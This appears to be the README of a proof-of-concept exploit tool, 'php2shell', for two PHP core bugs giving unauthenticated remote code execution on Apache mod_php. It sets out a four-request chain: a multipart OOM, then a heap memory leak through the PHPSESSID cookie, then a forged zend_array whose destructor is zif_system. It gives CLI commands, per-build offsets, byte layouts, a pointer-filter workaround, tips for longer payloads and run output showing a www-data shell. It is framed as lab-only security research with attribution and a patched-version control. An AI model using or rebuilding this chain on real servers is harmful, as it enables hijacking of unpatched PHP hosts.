php2shell — PoC for CVE-2026-109618 + CVE-2026-109619
Unauthenticated remote code execution against Apache mod_php running a vulnerable PHP,
using only HTTP multipart requests, with no application code required and no session_start()
in the target page.
$ ./lab/up.sh
target: OK
$ python -m poc exploit
php2shell poc 0.1.0 | Hermes Agent | independent security research
[1/4] A1 oom status=HTTP/1.0 500 Internal Server Error
[2/4] B1 leak decoded=819208 libphp=0x78991f26f000 main=0x78991d600000 count=87
[3/4] A2 oom status=HTTP/1.0 500 Internal Server Error
[4/4] B2 forge S=0x78991d6f8398 zif_system=0x78991f6d4370 status=
RCE OK; proof /…/out/p1:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
__author__ Hermes Agent · __org__ independent security research · v0.1.0
Scope and authorisation
Local Docker lab only. Every connection goes to a container started by lab/up.sh on
127.0.0.1. This is a reproduction harness plus a staged verification of two published PHP
core bugs — not a scanner, not a payload delivery tool. Do not point it at a host you do not
own or have written authorisation to test.
The vulnerabilities
| CVE-2026-109618 | CVE-2026-109619 | |
|---|---|---|
| Title | RCE via OOM corruption | RCE via stale global state |
| Fixed in | 8.2.35, 8.3.36, 8.4.27, 8.5.12 | same |
| Weakness | OOM longjmp() abandons a request with request memory reachable but uninitialised; shutdown then reads/branches on it |
worker-retained globals point into a freed request heap; a later request consumes the stale value before RINIT resets it |
| Confirmed SAPI | Apache mod_php (shutdown runs even when startup failed) | mod_php; session-lifecycle path also validated on FPM per the advisory |
Vendor advisories: GHSA-w8hw-w9fx-j79w,
GHSA-6wmf-4rv5-p3rp.
Version ranges above are read from NVD cpeMatch.versionEndExcluding, not from blog prose.
Grounding notes, including every source URL and the raw mechanism text, are in
NOTES.md.
What this PoC implements — and what it does not
Four primitives were published under these two CVEs. This PoC implements two of them plus the OOM producer:
| Primitive | Implemented |
|---|---|
Upload-progress unserializer state (BG(unserialize)) → controlled corruption |
yes (A2/B2) |
Remote process-memory disclosure via stale PS(id) in a PHPSESSID cookie |
yes (A1/B1) |
OOM producer via multipart without a usable Content-Length |
yes (A1, A2) |
EG(last_fatal_error_backtrace) UAF (PHP 8.5, needs fatal_error_backtraces) |
no |
OPcache CG(map_ptr_last) cross-worker type confusion |
no |
Not validated here: FPM, FrankenPHP, LSAPI. The advisory documents FPM as susceptible by source analysis with no complete exploit demonstrated; that remains true of this artifact.
Stage → CVE mapping
The vendor does not label which primitive belongs to which CVE. This mapping is analytical, not a citation:
| Stage | Role | CVE |
|---|---|---|
| A1 — multipart OOM at END cleanup | producer: leaves dangling PS(id) / PS(mod_data), send_cookie=1 |
109618 |
B1 — second request URL-encodes the stale PS(id) |
consumer: 800 KB memory disclosure | 109619 |
| A2 — cheap OOM over nested fields | producer: leaves dangling PS(hash_serialize_verifier) |
109618 |
B2 — fake zend_reference → fake zend_array |
consumer: zend_hash_destroy calls pDestructor = zif_system |
109619 |
Requirements
- Docker with a Linux engine, x86_64
- Python 3.11+ (tested on 3.14.7), standard library only
- bash (git-bash on Windows is fine)
Quickstart
./lab/up.sh # php:8.4.26-apache, php.ini-production, one prefork child
python -m poc check # version, ini, libphp hash, profile, worker count
python -m poc exploit # A1 -> B1 -> A2 -> B2 -> proof file
cat out/p1 # uid=33(www-data)
One command does the whole flow:
python -m poc lab # brings the container up, checks it, runs the chain
CLI
| Command | Purpose |
|---|---|
poc lab |
lab/up.sh, then check, then exploit |
poc check |
preflight: php version + vulnerable/patched verdict, nine ini values, libphp.so sha256 → profile, worker count. Exit 1 when the target is patched or the build is unknown. Sends no exploit traffic. |
poc offsets --lib PATH |
derive zval_ptr_dtor, zif_system, zif_passthru from an ELF .symtab/.dynsym |
poc leak |
A1 + B1 only: produce and classify the disclosure cookie (--save keeps the raw response) |
poc exploit |
full chain; --dry-run forges and hashes all four bodies without touching the network; --retries N; --cmd; --proof |
poc selftest |
offline: build all four bodies, check sizes and layout invariants |
All commands accept --host --port --name --profile --workers --json. --workers N occupies
N-1 prefork children so the four chain requests land on the same worker.
Status — what was verified, and how
Every row below is a command that was actually run in this environment, with its own artifact.
| Stage | Command | Observed |
|---|---|---|
| Lab build identity | python -m poc check |
PHP 8.4.26 NTS, libphp.so sha256 51663cf8…f4ee679c = profile; Apache 2.4.69; memory_limit=128M, post_max_size=8M, display_errors=Off, session.upload_progress.enabled=On; 1 worker |
| Symbol offsets | python -m poc offsets --lib research/libphp.so |
zval_ptr_dtor=0x65eb60, zif_system=0x465370 — matches the profile |
| Offline suite | python -m unittest discover -s tests -t . |
32 tests, all pass, 0 skipped |
| Body parity | tests/test_bodies_parity.py |
A1/A2/B1 SHA-256 identical to the reference generators (8e8fc166…, 7af66c8f…, b6c547e0…) |
| Stage 1–2 (disclosure) | python -m poc leak |
A1 → 500; B1 → 200 with an 819 208-byte decoded cookie; zval_ptr_dtor ×1095; libphp − main in range; main-chunk fingerprint count 87 |
| Stage 3–4 (RCE) | python -m poc exploit |
[4/4] … RCE OK, out/p1 contains uid=33(www-data) gid=33(www-data) groups=33(www-data); exit 0 |
| Reproducibility | 3 fresh containers, one run each | 3/3 uid=33(www-data) |
| Specificity | IMAGE=php:8.4.27-apache … then poc check / poc exploit |
check → 8.4.27 patched, NOT READY, exit 1; exploit → A1 returns 200 (no OOM abort), B1 yields no pointers, exit 1, and no proof file is created |
| Reference control | unchanged reference chain against this lab | same proof — confirms the lab build is the one the published offsets describe |
The last two rows are the ones that matter for honesty: the chain works on 8.4.26 and does not work on 8.4.27, so it is exercising the patched condition rather than a lab misconfiguration.
How it works
Four requests, all served by the same prefork child, in order. Each request is a multipart body
built byte-for-byte by poc/bodies.py / poc/forge.py:
- A1 — chunked multipart with no
Content-Length, so thepost_max_sizecheck is skipped; 860 depth-64 nested empty-file fields plus fillers burn the 128 MBmemory_limitinside the multipart parser. The OOM bailout leavesPS(id)dangling withsend_cookie=1. - B1 — a second multipart request whose values re-fill the freed chunk with a forged
zend_stringheader (len=0xC8000) at the addressPS(id)still points to. Shutdown URL-encodes 800 KB of worker memory into thePHPSESSIDresponse cookie. The window contains a repeatingzval_ptr_dtorpointer (→libphpbase) and a 2 MiB-aligned chunk with exactly 87 pointers (→ main chunk base). Alibphp − mainrange check discards bad leaks. - A2 — 880 nested fields plus short fillers; a cheap OOM leaves
PS(hash_serialize_verifier)pointing into the heap. - B2 — a 384-byte spray of fake
zend_referencevalues rewrites that pointer to a forgedzend_arrayatmain + 0xF8398whosepDestructoriszif_system; request shutdown callszend_hash_destroyon it and executes the command.
Calibration constants are not in the code paths — they live in poc/profiles.py, keyed by the
target's libphp.so SHA-256.
Calibration model and caveats
- Offsets are per-build.
dtor_offset,zif_offset,s_delta,hsv_delta,main_bucket_count, and the delta window are valid only for thelibphp.sowhose SHA-256 keys the profile.poc checkrefuses to call the target ready when the hash has no profile. - The pointer window is canonical user space, not
0x7f. A published reference chain filters candidate pointers to≥ 0x7F0000000000. On this host the container's mmap base lands at0x73…/0x78…/0x7d…, so that filter discards the real leak and the chain fails with "no heap pointers". This PoC accepts2^36 … 2^47−1and instead gates candidate destructor anchors on page alignment of the derived base plus a quorum. That gate is load-bearing: the window's most common in-range qword is azend_stringheader (0x1600000001, 1282×), which outnumberszval_ptr_dtor(1095×) and would win a naive "most common" pick. - Re-leak, don't re-forge. A bad base recovery means the A1/B1 pair is redone, never A2/B2: the worker's addresses are already poisoned once A2 runs.
- Command length is capped at 200 bytes by the 384-byte carrier (
0x160 − 0x98). For longer payloads, write a script into the mountedout/directory and runsh</out/c.
Repository layout
lab/ docker target (php.ini-production copied in place, one-worker MPM override)
poc/ profiles · elf · wire · bodies · forge · leak · cli
tests/ 32 unit tests; golden body hashes live in tests/golden/bodies.json
research/ reference clone (gitignored), captures, and the diagnostics used to calibrate
research/upstream/ is a read-only clone of the public reference chain, used once as a control
test and to generate the golden body hashes. Nothing in poc/ imports it.
Attribution
Primitive discovery and public analysis: Wiz Research ("PHP2Shell"), the PHP security team (Jakub Zelenka), and the authors of the public reference chain used for control testing and golden-hash generation. This repository is an independent rebuild of those published primitives with a profile-driven calibration model, a staged verifier, and a patched-build negative control; the wire bodies are reimplemented and proven byte-identical rather than vendored.